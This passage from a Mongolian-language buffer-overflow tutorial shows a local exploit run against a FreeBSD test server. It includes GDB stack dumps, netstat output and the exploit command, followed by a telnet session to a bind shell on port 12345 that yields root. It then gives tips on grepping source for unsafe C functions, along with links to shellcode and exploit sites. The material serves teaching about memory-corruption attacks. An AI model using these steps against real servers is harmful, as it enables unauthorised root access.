bash-2.05b$
```

Энэ удаад дахиад GDB дээр сэрвэр ямар алдаа заасныг үзье.

```
client from 127.0.0.1
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x080480c0 in :):) ()
(gdb)
```

Арай өөр алдаа гарчээ. Одоо ESP-ээс дахин тодорхой зайд үзье.

```
(gdb) x/200bx $esp-200
0xbfbffd34: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd3c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd44: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd4c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd54: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd5c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd64: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd6c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd74: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd7c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd84: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd8c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd94: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffd9c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffda4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdac: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdb4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdbc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdcc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdd4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffddc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffde4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdec: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfbffdf4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```

Сэрвэр дээр маань арай өөр алдаа гарч. Бидний Shellкод зөв ажиллажээ гэж үзэж болно.

Нөгөө терминал дээрээ netstat-аар үзье. Бид гол нь TCP 12345 гэсэн порт дээр сэрвэр маань Listen(сонсох) хийж байна уу гэдгийг мэдэх ёстой:

```
-----
bash-2.05b$ netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         (state)
tcp4    0      0 *.12345                 *.*                     LISTEN
tcp4    0      0 127.0.0.1.30460         127.0.0.1.49953        CLOSE_WAIT
tcp4    0      0 127.0.0.1.49953        127.0.0.1.30460        FIN_WAIT_2
tcp4    0      0 *.30460                 *.*                     LISTEN
tcp4    0      0 202.179.0.109.22       202.179.0.164.41670    ESTABLISHED
tcp4    0      0 202.179.0.109.22       202.179.0.164.43247    ESTABLISHED
tcp4    0      0 202.179.0.109.22       202.179.0.164.41709    ESTABLISHED
tcp4    0      0 202.179.0.109.22       202.179.0.164.47092    ESTABLISHED
tcp4    0      0 202.179.0.109.22       202.179.0.164.453      ESTABLISHED
tcp4    0      0 *.21                    *.*                     LISTEN
tcp4    0      0 127.0.0.1.783          *.*                     LISTEN
tcp4    0      0 *.3306                  *.*                     LISTEN
tcp4    0      0 *.25                    *.*                     LISTEN
tcp4    0      0 *.80                    *.*                     LISTEN
tcp4    0      0 *.443                   *.*                     LISTEN
tcp4    0      0 *.22                    *.*                     LISTEN
udp4    0      0 *.69                    *.*                     *.*
udp4    0      0 *.514                   *.*                     *.*

Active UNIX domain sockets
Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr
c276d834 stream 0 0 0 c276c604 0 0
c276c604 stream 0 0 0 c276d834 0 0
c276d1a4 stream 0 0 0 c276db7c 0 0 /tmp/mysql.sock
c276db7c stream 0 0 0 c276d1a4 0 0
c276d4ec stream 0 0 0 c276d94c 0 0
c276d94c stream 0 0 0 c276d4ec 0 0
c276c578 stream 0 0 0 c276c118 0 0
c276c118 stream 0 0 0 c276c578 0 0
c276cc08 stream 0 0 0 c276cb7c 0 0
c276cb7c stream 0 0 0 c276cc08 0 0
c276d230 stream 0 0 0 c276ca64 0 0
c276ca64 stream 0 0 0 c276d230 0 0
c276ce38 stream 0 0 c280f124 0 0 /tmp/mysql.sock
c276cc94 dgram 0 0 0 c276d000 0 c276cd20
c276cd20 dgram 0 0 0 c276d000 0 0
c276d000 dgram 0 0 c2756db0 0 c276cc94 0 /var/run/log
bash-2.05b$
-----
```

За янз нь манай exploit ажиллажээ. Одоо тэр 12345 порт руугаа холбогдож үзье.

Гэхдээ энэ удаа сэрвэр-ээ GDB-ээс биш ердийн замаар ажиллуулаарай. Exploitoo түрүүнийх шиг дахин ажиллуулъя.

```
-----
bash-2.05b$ ./expl_or 127.0.0.1 30460 140
scsize: 131
ret: 0xbfbff9bc
bash-2.05b$
```

Netstat-аар өөр терминал дээр дахин үзээд холбогдоё.

```
bash-2.05b$ telnet localhost 12345
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
: not found
```

Shell үнэхээр 12345 гэдэг порт дээр ажиллажээ. id; гэдэг команд өгөхөд хариуг буцааж байгааг харж байгаа биз дээ:)

Бид сэрвэр-ээ root эрхээр ажиллуулсан учраас root эрхийн Shell гарч ирж байна. Хэрэв өөр эрхээр байвал тэр эрх бүхий Shell байна гэсэн үг дээ. Тэгэхээр аливаа сэрвэр программыг root эрх эсвэл super user эрхээр аль болох ажиллуулахгүй байх нь зөв юм. Нэгэнт root эрх авсан хүн юу ч хийж болох аюултай учраас тэр.

Проблем.

Хэрэв таны exploit ажиллахгүй бол буцах хаяг бүрүү эсвэл Shellкод-оо буруу байрлуулсан байх талтай. GDB ажиллуулаад (GDB) x/200bx \$esp-200 командаар сайн үзэх хэрэгтэй.

Мөн Shellкод-оо сонгохынхоо өмнө үйлдлийн системээсээ хамаарч сонгоод функцийн pointer-оор туршихаа мартваа! (frebsd_exeve_bin.c программыг ажиллуулж туршсаныг хэлж байна)

Буффер Overflow(Дүүргэх) хийж болох хэсгийг программаас яаж олох вэ?

C программчлалын хэлэнд өөрт нь массивын хязгаарыг шалгадаг чанар байхгүй учраас биднээс массивын уртыг заавал шалгаж байхыг шаарддаг. Зарим тохиолдолд Үүнийг мартсанаас Буффер Overflow(Дүүргэх) болох боломж бүрддэг. Стандарт C дээр массивын уртыг харгалзалгүйгээр Буффер-ийг нэгээс нөгөө рүү нь хуулдаг нэмдэг хэд хэдэн функцууд байдаг. Жишээ нь: strcat(), strcpy(), sprintf() гэх мэт. Мөн gets(), scanf()-ийг нэрлэж болно. Эдгээр функцуудын хуулах гэж байгаа бай Буффер нь статик урттай бөгөөд хэрэглэгчээс оруулах мэдээлэл тэр Буффер руу хуулагдах бол Буффер Overflow(Дүүргэх) болох магадлал асар их болно гэсэн үг юм. Эцэст нь хэлэхэд UNIX дээр grep(1) tool-аар эх кодуудаас дээрх функцуудыг ашигласан хэсгүүдийг төвөггүй олж болно. Linux/FreeBSD үйлдлийн системуудийн програм хангамжуудын эх код ихэнх нь үнэгүй ил байдаг болохоор ингэж хайж болно.

Зөвлөгөө.

Зөвлөхөд зөвхөн энэ нийтлэлийг унших биш программаа ажиллуулаад янз бүрээр туршиж үзвэл арай хурдан төгс ойлгоно шүү гэдгийг хэлье. Бас энд тэндхийн exploit кодуудыг ч харахад илүүдэхгүй.

Гэхдээ хийсэн exploit-оо бүрүү зорилгоор ашиглахгүй байхыг хүсье. Буруу зорилгоор ашиглаад ямар нэгэн хохирол учирвал би хариуцахгүй болохыг мэдэгдье.

C хэлийг сурах нь маш чухал. Kernighan & Ritchie -ийн "The C programming language" гэдэг ном ч сайн шүү. Нимгэн боловч бүх юм багтаасан сайн ном шүү. Интернэт дээр бол \$40 гээд л байгаа даа.

Бусад хэрэгтэй линкүүд.

<http://www.phrack.org/show.php?p=49&a=14> Smashing the stack for fun and profit, AlephOne, Phrack Magazine 49, 1997

Энэ нийтлэлд БОФ-ийн талаар маш сайн тайлбарласан. Дэлгэрэнгүй ойлголтыг эндээс авч болно. Ялангуяа стек, Shellкод үүсгэх талаар. Стекийн талаарх мэдээллийг эндээс авсан болно.

<http://jikos.jikos.cz/remotesploits.html> How to write remote exploits(V.1.1)

Энд сүлжээний exploit хийх талаар байгаа. Гэхдээ linux-ийн хувьд. Энэ линкээс санаа авч FreeBSD дээр exploit бичиж туршиж үзсэн болно.

<http://community.core-sdi.com/~juliano/taeho-adv.txt> Advanced buffer overflow exploit, Written by Taeho Oh (ohhara@postech.edu)

Энд БОФ-ийн талаар бас нэлээн сайн тайлбарласан байгаа. Бас сонирхолтой бичсэн. Би локал exploit-ийг эндээс авч туршсан.

<http://community.core-sdi.com/~juliano/l0pht-howtowrite-bof.html> How to write Buffer Overflows by Mudge

Энд бас сайн тайлбарласан шүү. Би эндээс GDB-тэй ажиллах зарим команд-ыг мэдэж авсан.

<http://www.shellcode.com.ar/en/shellcodes.html> Good shellcodes

Энэ сайт дээр төрөл бүрийн Shellкод-ууд бий дээ. Байнга шинэчлэгдэж байдаг сайн сайт.

<http://packetstormsecurity.nl/shellcode/> Some shellcodes

Энд бас Shellкод-ууд бий. <http://packetstormsecurity.org> сайт бол бас миний орох дуртай сайтуудын нэг. Янз бүрийн tool, exploit-ууд гардаг юм.

<http://www.securityfocus.com> Эндээс бүх шинээр янз бүрийн программд илэрч байгаа bug, vulnerability-ийн талаар мэдэж авч болно. Мөн үүнээс гадна exploit-ууд ч бий шүү.

http://webster.cs.ucr.edu/Page_AoALinux/HTML/AoATOC.html The art of Assembly language

<http://www.intel.com/design/pentium/MANUALS/INDEX.HTM> Intel Assembly manual

<http://www.int80h.org/bsdasm/> FreeBSD Assembly language programming